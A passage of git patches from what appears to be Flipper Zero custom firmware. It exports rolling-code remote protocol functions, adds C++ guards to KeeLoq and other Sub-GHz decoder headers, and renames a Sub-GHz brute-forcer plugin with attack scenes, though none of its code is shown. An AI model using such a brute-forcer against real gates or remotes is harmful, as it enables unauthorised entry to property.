Function,-,labs,long,long @@ -2178,7 +2178,7 @@ Function,-,nfcv_read_card,_Bool,"NfcVReader*, FuriHalNfcDevData*, NfcVData*" Function,-,nfcv_read_sysinfo,ReturnCode,"FuriHalNfcDevData*, NfcVData*" Function,-,nice_flors_get_custom_btn,uint8_t, Function,-,nice_flors_get_original_btn,uint8_t, -Function,-,nice_flors_reset_original_btn,void, +Function,+,nice_flors_reset_original_btn,void, Function,-,nice_flors_set_btn,void,uint8_t Function,+,notification_internal_message,void,"NotificationApp*, const NotificationSequence*" Function,+,notification_internal_message_block,void,"NotificationApp*, const NotificationSequence*" @@ -2584,7 +2584,7 @@ Function,-,sniprintf,int,"char*, size_t, const char*, ..." Function,+,snprintf,int,"char*, size_t, const char*, ..." Function,-,somfy_telis_get_custom_btn,uint8_t, Function,-,somfy_telis_get_original_btn,uint8_t, -Function,-,somfy_telis_reset_original_btn,void, +Function,+,somfy_telis_reset_original_btn,void, Function,-,somfy_telis_set_btn,void,uint8_t Function,-,sprintf,int,"char*, const char*, ..." Function,-,sqrt,double,double @@ -2594,8 +2594,8 @@ Function,+,srand,void,unsigned Function,-,srand48,void,long Function,-,srandom,void,unsigned Function,+,sscanf,int,"const char*, const char*, ..." -Function,-,star_line_reset_kl_type,void, -Function,-,star_line_reset_mfname,void, +Function,+,star_line_reset_kl_type,void, +Function,+,star_line_reset_mfname,void, Function,+,storage_common_copy,FS_Error,"Storage*, const char*, const char*" Function,+,storage_common_exists,_Bool,"Storage*, const char*" Function,+,storage_common_fs_info,FS_Error,"Storage*, const char*, uint64_t*, uint64_t*" diff --git a/lib/subghz/protocols/alutech_at_4n.h b/lib/subghz/protocols/alutech_at_4n.h index 89adbb5c6..023fca591 100644 --- a/lib/subghz/protocols/alutech_at_4n.h +++ b/lib/subghz/protocols/alutech_at_4n.h @@ -1,6 +1,10 @@ #pragma once #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_ALUTECH_AT_4N_NAME "Alutech AT-4N" typedef struct SubGhzProtocolDecoderAlutech_at_4n SubGhzProtocolDecoderAlutech_at_4n; @@ -132,3 +136,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_alutech_at_4n_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/keeloq.h b/lib/subghz/protocols/keeloq.h index f0715648c..a1d5b26b4 100644 --- a/lib/subghz/protocols/keeloq.h +++ b/lib/subghz/protocols/keeloq.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_KEELOQ_NAME "KeeLoq" typedef struct SubGhzProtocolDecoderKeeloq SubGhzProtocolDecoderKeeloq; @@ -160,3 +164,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_keeloq_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/nice_flor_s.h b/lib/subghz/protocols/nice_flor_s.h index 679b31812..333f826e1 100644 --- a/lib/subghz/protocols/nice_flor_s.h +++ b/lib/subghz/protocols/nice_flor_s.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_NICE_FLOR_S_NAME "Nice FloR-S" typedef struct SubGhzProtocolDecoderNiceFlorS SubGhzProtocolDecoderNiceFlorS; @@ -137,3 +141,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_nice_flor_s_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/somfy_telis.h b/lib/subghz/protocols/somfy_telis.h index 36f6c70b5..dc1ec2b77 100644 --- a/lib/subghz/protocols/somfy_telis.h +++ b/lib/subghz/protocols/somfy_telis.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_SOMFY_TELIS_NAME "Somfy Telis" typedef struct SubGhzProtocolDecoderSomfyTelis SubGhzProtocolDecoderSomfyTelis; @@ -133,3 +137,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_somfy_telis_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif diff --git a/lib/subghz/protocols/star_line.h b/lib/subghz/protocols/star_line.h index 901b82f7c..b142a4032 100644 --- a/lib/subghz/protocols/star_line.h +++ b/lib/subghz/protocols/star_line.h @@ -2,6 +2,10 @@ #include "base.h" +#ifdef __cplusplus +extern "C" { +#endif + #define SUBGHZ_PROTOCOL_STAR_LINE_NAME "Star Line" typedef struct SubGhzProtocolDecoderStarLine SubGhzProtocolDecoderStarLine; @@ -131,3 +135,7 @@ SubGhzProtocolStatus * @param output Resulting text */ void subghz_protocol_decoder_star_line_get_string(void* context, FuriString* output); + +#ifdef __cplusplus +} +#endif From f97163111632123e235293502ff50807d9655b64 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 17:52:34 +0000 Subject: [PATCH 083/329] Rename subghz ext apps for consistency --- .../{subbrute => subghz_bruteforcer}/LICENSE | 0 .../application.fam | 0 .../helpers/gui_top_buttons.c | 0 .../helpers/gui_top_buttons.h | 0 .../helpers/subbrute_worker.c | 0 .../helpers/subbrute_worker.h | 0 .../helpers/subbrute_worker_private.h | 0 .../images/ButtonDown_7x4.png | Bin .../images/ButtonUp_7x4.png | Bin .../images/DolphinNice_96x59.png | Bin .../images/Sub1ghz_14/frame_01.png | Bin .../images/Sub1ghz_14/frame_02.png | Bin .../images/Sub1ghz_14/frame_03.png | Bin .../images/Sub1ghz_14/frame_04.png | Bin .../images/Sub1ghz_14/frame_05.png | Bin .../images/Sub1ghz_14/frame_06.png | Bin .../images/Sub1ghz_14/frame_rate | 0 .../images/sub1_10px.png | Bin .../images/subbrute_10px.png | Bin .../scenes/subbrute_scene.h | 0 .../scenes/subbrute_scene_config.h | 0 .../scenes/subbrute_scene_load_file.c | 0 .../scenes/subbrute_scene_load_select.c | 0 .../scenes/subbrute_scene_run_attack.c | 0 .../scenes/subbrute_scene_save_name.c | 0 .../scenes/subbrute_scene_save_success.c | 0 .../scenes/subbrute_scene_setup_attack.c | 0 .../scenes/subbrute_scene_start.c | 0 .../scenes/subbute_scene.c | 0 .../{subbrute => subghz_bruteforcer}/subbrute.c | 0 .../{subbrute => subghz_bruteforcer}/subbrute.h | 0 .../subbrute_custom_event.h | 0 .../subbrute_device.c | 0 .../subbrute_device.h | 0 .../{subbrute => subghz_bruteforcer}/subbrute_i.h | 0 .../subbrute_protocols.c | 0 .../subbrute_protocols.h | 0 .../views/subbrute_attack_view.c | 0 .../views/subbrute_attack_view.h | 0 .../views/subbrute_main_view.c | 0 .../views/subbrute_main_view.h | 0 .../{playlist => subghz_playlist}/application.fam | 0 .../{playlist => subghz_playlist}/canvas_helper.c | 0 .../{playlist => subghz_playlist}/canvas_helper.h | 0 .../images/ButtonRight_4x7.png | Bin .../images/sub1_10px.png | Bin .../{playlist => subghz_playlist}/playlist.c | 0 .../{playlist => subghz_playlist}/playlist_10px.png | Bin .../{playlist => subghz_playlist}/playlist_file.c | 0 .../{playlist => subghz_playlist}/playlist_file.h | 0 50 files changed, 0 insertions(+), 0 deletions(-) rename applications/plugins/{subbrute => subghz_bruteforcer}/LICENSE (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/application.fam (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/helpers/gui_top_buttons.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/helpers/gui_top_buttons.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/helpers/subbrute_worker.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/helpers/subbrute_worker.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/helpers/subbrute_worker_private.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/ButtonDown_7x4.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/ButtonUp_7x4.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/DolphinNice_96x59.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/Sub1ghz_14/frame_01.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/Sub1ghz_14/frame_02.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/Sub1ghz_14/frame_03.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/Sub1ghz_14/frame_04.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/Sub1ghz_14/frame_05.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/Sub1ghz_14/frame_06.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/Sub1ghz_14/frame_rate (100%) rename applications/plugins/{playlist => subghz_bruteforcer}/images/sub1_10px.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/images/subbrute_10px.png (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_config.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_load_file.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_load_select.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_run_attack.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_save_name.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_save_success.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_setup_attack.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbrute_scene_start.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/scenes/subbute_scene.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute_custom_event.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute_device.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute_device.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute_i.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute_protocols.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/subbrute_protocols.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/views/subbrute_attack_view.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/views/subbrute_attack_view.h (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/views/subbrute_main_view.c (100%) rename applications/plugins/{subbrute => subghz_bruteforcer}/views/subbrute_main_view.h (100%) rename applications/plugins/{playlist => subghz_playlist}/application.fam (100%) rename applications/plugins/{playlist => subghz_playlist}/canvas_helper.c (100%) rename applications/plugins/{playlist => subghz_playlist}/canvas_helper.h (100%) rename applications/plugins/{playlist => subghz_playlist}/images/ButtonRight_4x7.png (100%) rename applications/plugins/{subbrute => subghz_playlist}/images/sub1_10px.png (100%) rename applications/plugins/{playlist => subghz_playlist}/playlist.c (100%) rename applications/plugins/{playlist => subghz_playlist}/playlist_10px.png (100%) rename applications/plugins/{playlist => subghz_playlist}/playlist_file.c (100%) rename applications/plugins/{playlist => subghz_playlist}/playlist_file.h (100%) diff --git a/applications/plugins/subbrute/LICENSE b/applications/plugins/subghz_bruteforcer/LICENSE similarity index 100% rename from applications/plugins/subbrute/LICENSE rename to applications/plugins/subghz_bruteforcer/LICENSE diff --git a/applications/plugins/subbrute/application.fam b/applications/plugins/subghz_bruteforcer/application.fam similarity index 100% rename from applications/plugins/subbrute/application.fam rename to applications/plugins/subghz_bruteforcer/application.fam diff --git a/applications/plugins/subbrute/helpers/gui_top_buttons.c b/applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.c similarity index 100% rename from applications/plugins/subbrute/helpers/gui_top_buttons.c rename to applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.c diff --git a/applications/plugins/subbrute/helpers/gui_top_buttons.h b/applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.h similarity index 100% rename from applications/plugins/subbrute/helpers/gui_top_buttons.h rename to applications/plugins/subghz_bruteforcer/helpers/gui_top_buttons.h diff --git a/applications/plugins/subbrute/helpers/subbrute_worker.c b/applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.c similarity index 100% rename from applications/plugins/subbrute/helpers/subbrute_worker.c rename to applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.c diff --git a/applications/plugins/subbrute/helpers/subbrute_worker.h b/applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.h similarity index 100% rename from applications/plugins/subbrute/helpers/subbrute_worker.h rename to applications/plugins/subghz_bruteforcer/helpers/subbrute_worker.h diff --git a/applications/plugins/subbrute/helpers/subbrute_worker_private.h b/applications/plugins/subghz_bruteforcer/helpers/subbrute_worker_private.h similarity index 100% rename from applications/plugins/subbrute/helpers/subbrute_worker_private.h rename to applications/plugins/subghz_bruteforcer/helpers/subbrute_worker_private.h diff --git a/applications/plugins/subbrute/images/ButtonDown_7x4.png b/applications/plugins/subghz_bruteforcer/images/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/subbrute/images/ButtonDown_7x4.png rename to applications/plugins/subghz_bruteforcer/images/ButtonDown_7x4.png diff --git a/applications/plugins/subbrute/images/ButtonUp_7x4.png b/applications/plugins/subghz_bruteforcer/images/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/subbrute/images/ButtonUp_7x4.png rename to applications/plugins/subghz_bruteforcer/images/ButtonUp_7x4.png diff --git a/applications/plugins/subbrute/images/DolphinNice_96x59.png b/applications/plugins/subghz_bruteforcer/images/DolphinNice_96x59.png similarity index 100% rename from applications/plugins/subbrute/images/DolphinNice_96x59.png rename to applications/plugins/subghz_bruteforcer/images/DolphinNice_96x59.png diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_01.png b/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png similarity index 100% rename from applications/plugins/subbrute/images/Sub1ghz_14/frame_01.png rename to applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_01.png diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_02.png b/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png similarity index 100% rename from applications/plugins/subbrute/images/Sub1ghz_14/frame_02.png rename to applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_02.png diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_03.png b/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png similarity index 100% rename from applications/plugins/subbrute/images/Sub1ghz_14/frame_03.png rename to applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_03.png diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_04.png b/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png similarity index 100% rename from applications/plugins/subbrute/images/Sub1ghz_14/frame_04.png rename to applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_04.png diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_05.png b/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png similarity index 100% rename from applications/plugins/subbrute/images/Sub1ghz_14/frame_05.png rename to applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_05.png diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_06.png b/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png similarity index 100% rename from applications/plugins/subbrute/images/Sub1ghz_14/frame_06.png rename to applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_06.png diff --git a/applications/plugins/subbrute/images/Sub1ghz_14/frame_rate b/applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_rate similarity index 100% rename from applications/plugins/subbrute/images/Sub1ghz_14/frame_rate rename to applications/plugins/subghz_bruteforcer/images/Sub1ghz_14/frame_rate diff --git a/applications/plugins/playlist/images/sub1_10px.png b/applications/plugins/subghz_bruteforcer/images/sub1_10px.png similarity index 100% rename from applications/plugins/playlist/images/sub1_10px.png rename to applications/plugins/subghz_bruteforcer/images/sub1_10px.png diff --git a/applications/plugins/subbrute/images/subbrute_10px.png b/applications/plugins/subghz_bruteforcer/images/subbrute_10px.png similarity index 100% rename from applications/plugins/subbrute/images/subbrute_10px.png rename to applications/plugins/subghz_bruteforcer/images/subbrute_10px.png diff --git a/applications/plugins/subbrute/scenes/subbrute_scene.h b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene.h similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene.h rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene.h diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_config.h b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_config.h similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_config.h rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_config.h diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_load_file.c b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_file.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_load_file.c rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_file.c diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_load_select.c b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_select.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_load_select.c rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_load_select.c diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_run_attack.c b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_run_attack.c rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_run_attack.c diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_save_name.c b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_name.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_save_name.c rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_name.c diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_save_success.c b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_success.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_save_success.c rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_save_success.c diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_setup_attack.c b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_setup_attack.c rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_setup_attack.c diff --git a/applications/plugins/subbrute/scenes/subbrute_scene_start.c b/applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_start.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbrute_scene_start.c rename to applications/plugins/subghz_bruteforcer/scenes/subbrute_scene_start.c diff --git a/applications/plugins/subbrute/scenes/subbute_scene.c b/applications/plugins/subghz_bruteforcer/scenes/subbute_scene.c similarity index 100% rename from applications/plugins/subbrute/scenes/subbute_scene.c rename to applications/plugins/subghz_bruteforcer/scenes/subbute_scene.c diff --git a/applications/plugins/subbrute/subbrute.c b/applications/plugins/subghz_bruteforcer/subbrute.c similarity index 100% rename from applications/plugins/subbrute/subbrute.c rename to applications/plugins/subghz_bruteforcer/subbrute.c diff --git a/applications/plugins/subbrute/subbrute.h b/applications/plugins/subghz_bruteforcer/subbrute.h similarity index 100% rename from applications/plugins/subbrute/subbrute.h rename to applications/plugins/subghz_bruteforcer/subbrute.h diff --git a/applications/plugins/subbrute/subbrute_custom_event.h b/applications/plugins/subghz_bruteforcer/subbrute_custom_event.h similarity index 100% rename from applications/plugins/subbrute/subbrute_custom_event.h rename to applications/plugins/subghz_bruteforcer/subbrute_custom_event.h diff --git a/applications/plugins/subbrute/subbrute_device.c b/applications/plugins/subghz_bruteforcer/subbrute_device.c similarity index 100% rename from applications/plugins/subbrute/subbrute_device.c rename to applications/plugins/subghz_bruteforcer/subbrute_device.c diff --git a/applications/plugins/subbrute/subbrute_device.h b/applications/plugins/subghz_bruteforcer/subbrute_device.h similarity index 100% rename from applications/plugins/subbrute/subbrute_device.h rename to applications/plugins/subghz_bruteforcer/subbrute_device.h diff --git a/applications/plugins/subbrute/subbrute_i.h b/applications/plugins/subghz_bruteforcer/subbrute_i.h similarity index 100% rename from applications/plugins/subbrute/subbrute_i.h rename to applications/plugins/subghz_bruteforcer/subbrute_i.h diff --git a/applications/plugins/subbrute/subbrute_protocols.c b/applications/plugins/subghz_bruteforcer/subbrute_protocols.c similarity index 100% rename from applications/plugins/subbrute/subbrute_protocols.c rename to applications/plugins/subghz_bruteforcer/subbrute_protocols.c diff --git a/applications/plugins/subbrute/subbrute_protocols.h b/applications/plugins/subghz_bruteforcer/subbrute_protocols.h similarity index 100% rename from applications/plugins/subbrute/subbrute_protocols.h rename to applications/plugins/subghz_bruteforcer/subbrute_protocols.h diff --git a/applications/plugins/subbrute/views/subbrute_attack_view.c b/applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.c similarity index 100% rename from applications/plugins/subbrute/views/subbrute_attack_view.c rename to applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.c diff --git a/applications/plugins/subbrute/views/subbrute_attack_view.h b/applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.h similarity index 100% rename from applications/plugins/subbrute/views/subbrute_attack_view.h rename to applications/plugins/subghz_bruteforcer/views/subbrute_attack_view.h diff --git a/applications/plugins/subbrute/views/subbrute_main_view.c b/applications/plugins/subghz_bruteforcer/views/subbrute_main_view.c similarity index 100% rename from applications/plugins/subbrute/views/subbrute_main_view.c rename to applications/plugins/subghz_bruteforcer/views/subbrute_main_view.c diff --git a/applications/plugins/subbrute/views/subbrute_main_view.h b/applications/plugins/subghz_bruteforcer/views/subbrute_main_view.h similarity index 100% rename from applications/plugins/subbrute/views/subbrute_main_view.h rename to applications/plugins/subghz_bruteforcer/views/subbrute_main_view.h diff --git a/applications/plugins/playlist/application.fam b/applications/plugins/subghz_playlist/application.fam similarity index 100% rename from applications/plugins/playlist/application.fam rename to applications/plugins/subghz_playlist/application.fam diff --git a/applications/plugins/playlist/canvas_helper.c b/applications/plugins/subghz_playlist/canvas_helper.c similarity index 100% rename from applications/plugins/playlist/canvas_helper.c rename to applications/plugins/subghz_playlist/canvas_helper.c diff --git a/applications/plugins/playlist/canvas_helper.h b/applications/plugins/subghz_playlist/canvas_helper.h similarity index 100% rename from applications/plugins/playlist/canvas_helper.h rename to applications/plugins/subghz_playlist/canvas_helper.h diff --git a/applications/plugins/playlist/images/ButtonRight_4x7.png b/applications/plugins/subghz_playlist/images/ButtonRight_4x7.png similarity index 100% rename from applications/plugins/playlist/images/ButtonRight_4x7.png rename to applications/plugins/subghz_playlist/images/ButtonRight_4x7.png diff --git a/applications/plugins/subbrute/images/sub1_10px.png b/applications/plugins/subghz_playlist/images/sub1_10px.png similarity index 100% rename from applications/plugins/subbrute/images/sub1_10px.png rename to applications/plugins/subghz_playlist/images/sub1_10px.png diff --git a/applications/plugins/playlist/playlist.c b/applications/plugins/subghz_playlist/playlist.c similarity index 100% rename from applications/plugins/playlist/playlist.c rename to applications/plugins/subghz_playlist/playlist.c diff --git a/applications/plugins/playlist/playlist_10px.png b/applications/plugins/subghz_playlist/playlist_10px.png similarity index 100% rename from applications/plugins/playlist/playlist_10px.png rename to applications/plugins/subghz_playlist/playlist_10px.png diff --git a/applications/plugins/playlist/playlist_file.c b/applications/plugins/subghz_playlist/playlist_file.c similarity index 100% rename from applications/plugins/playlist/playlist_file.c rename to applications/plugins/subghz_playlist/playlist_file.c diff --git a/applications/plugins/playlist/playlist_file.h b/applications/plugins/subghz_playlist/playlist_file.h similarity index 100% rename from applications/plugins/playlist/playlist_file.h rename to applications/plugins/subghz_playlist/playlist_file.h From e161b8bc8929a6d2bd33cf07ef8c5875784fddd8 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 17:56:53 +0000 Subject: [PATCH 084/329] Fix subghz playlist icon --- .../plugins/subghz_playlist/playlist_10px.png | Bin 1756 -> 5001 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/applications/plugins/subghz_playlist/playlist_10px.png b/applications/plugins/subghz_playlist/playlist_10px.png index fc33471f7786a6e035cc94b1a4c37bffbd12b57b..3d3f1d27f64f9cf8361fbd4201db0700db307a5d 100644 GIT binary patch literal 5001 zcmeHLeQ?v}85eQJhm)`bx`u6ms17$mGFh@DOR{DM5<4Vba0tO|Qno9TrB{g-+j49r zcG7FFp=_ljv-qJ zK|gZ0{;|8*XG?nD=lMO)^Lu~KE1e#%sjkQ}f6I&@NS3$KQwxv!xq0Sv_`i|-%OQAp zz1?50)e3Pm5>;g-2vDsp0#J}pWCTf^3)TE!_7QaEt)aUfOb6Nh+~Agvvj#uu+`@!T zd5;Ka!JO0Y#WS|g{(c_!bWzcqtbP0Xy85`c2D>d+2loEs*6zm+Ed9=F;jWiA4CS}; zS+Bp{)!(`DxkJQXGmc$ZlfUfK?3*4*YA$Fgc&l(B+gP%v5j%q~Z~DXYPt0w9M?Trp zuk>wmfTldJMiOY@GdSyjGi@A~=vJkr1Dl^55G`^$2Q)~()o z?~JFa4)5@~H($C`c<}DLTlM?+gWN|SUM!lqHXrS=R&TJ@UK-w9);aI%PyB1(%7x2U z=A(VbmmlB*kL*4#7vN8c#DAs{O=kN1*)Tex`Edjl;`B5SVhavmRkcl+~o zC+^Rjx&DYv?q&w25A^O1MJ_CwePGwVIos#1=+;UvRrC}uINWSK_}y#0Fa50g#N5Xo zKU((f;!y8~-OHT5yp{InuK%R#jiL{*H&_4e*fT@#Xl+GnntJ$r^uT=OQ-)>dYta zy54s2-(9aR&d9uw=4yICJ@L@i5=8m1sLhm@mv;GU#~v7Ji^m^Shqoz%L#Azm(SzLn zw9^QZ9a5me>V3<3Q4LuINeuvNA{2qrLlEbZL_`pqfQAM@gA#UGuD){Ef+~{BQfK!O zzK9z%DwXX~u&TYu_;iQxe;F{(r~MGd1mrVvnDG?&E!=h4ypLJ^-Y1s{%$umJhM z6G8;HSqVH8!pD2WwDML6GLq08Jz{>?sCX@isVz|vl(&MgRxlny5>x(>mT1r@M-p)m z1R-b|gHdf0LRNTvH7O6Bf(9iNF}xtz6D%W*s;0&o)kw;GLV~Gjqp`%j+4{f~1Oy#HW(s1%V-LlmswV5+sbJXaWlm9E}0e z&dIEUwaIq-I6!YWrU_vY=zuVURe@k~fV7ho!C#iZ@GBv(N)vQWZ4AqCHpb2{97(Yw zWgB?+foKd0S;w>yRw`M|7>8~(s78IN1Y8!%K-Sldhjl{c1-%0xwlNON;-EX6K+RoElF+uS}GVzqP8uhDc&}GqcLG=_;U_RK^lAsAGIOt6AHrj7v zc{{@sOff->hl5Efa@!YK>rIS0VR)#ZN+qVL(Kcf!+1aZ=bMh*A8B~mxMp2_Vc|lAT zEE;7>My3!gIjP)1JzsjsQz$W2*5X1Glr}(qU6xXP??h`xyALHPs~s(@Q^JxOk1d{< zK)ey?tN59;<6ok(n9vITt1huo2sZ$@KaXq(pIfiY(T)HsV6;p!7(vkh;{=hyYymqf zi828wlAD{$GcWn3ofTx}S zMlysg^HqLE8vm;dfud7ECdKa*T~l;Tih)TPPpNB)u1PU4DdQ=1{m^YS-~a(BI-U)Xl}=`e&ryyexNp0XdU{SVrp&jSDe delta 618 zcmeBFzr#C0l7oqXfq^L?;?-n6VR0t5$jR+Y{)`HfuQTa7I;P|&r7A@D1}He^7o{qg z>lx`L8yFZUm|N-@CYhNgnp^597#SED=^L2o8yf2xnp>HeSs9urK!K9oWNBun$??o` zlXtLaPHtq@<58%{&B-gaDlTy?E18_YA~yLdv+U#m7SqY!m~{kzk_A@IMX8A;`9&f5 z`8ku%vMWxmWYZP|OZcXiB&H;mB)TM)q)z_NF2fHI%}>cptAvShfW&-#tvn}Zb68A% z!s0i%g4Ls5p&%o_B)>Q#A82}hPJWSZeoCsXlChFPO0rd2eo<~>iLFv*Zen_>enDQk zlAVGL#1N0nVxU7Rf&8MBG^^m$LMSUIQvvLLtHk7z%=|oCrDTwkQ&W_n!kKx+C5d^- zsh%#jN!GPX5BKK6xj*DVILnkjVxdqLY(39AHvLQ0>VXiFxU%DYi=bN+8Ah z2+Q@+-8Fd@mkbxgc}|Jxc9Y$??6{#i!2Ic4^7T-@OKNd)QDy Date: Tue, 14 Mar 2023 22:09:06 +0000 Subject: [PATCH 085/329] Shorter app names (prep for wii ui) --- applications/main/archive/scenes/archive_scene_browser.c | 6 +++--- applications/main/fap_loader/application.fam | 2 +- applications/main/lfrfid/application.fam | 2 +- applications/main/subghz/application.fam | 2 +- applications/main/xtreme_app/application.fam | 2 +- applications/services/loader/loader.h | 2 +- scripts/runfap.py | 2 +- 7 files changed, 9 insertions(+), 9 deletions(-) diff --git a/applications/main/archive/scenes/archive_scene_browser.c b/applications/main/archive/scenes/archive_scene_browser.c index 0696647ea..8d606cf09 100644 --- a/applications/main/archive/scenes/archive_scene_browser.c +++ b/applications/main/archive/scenes/archive_scene_browser.c @@ -14,12 +14,12 @@ static const char* flipper_app_name[] = { [ArchiveFileTypeIButton] = 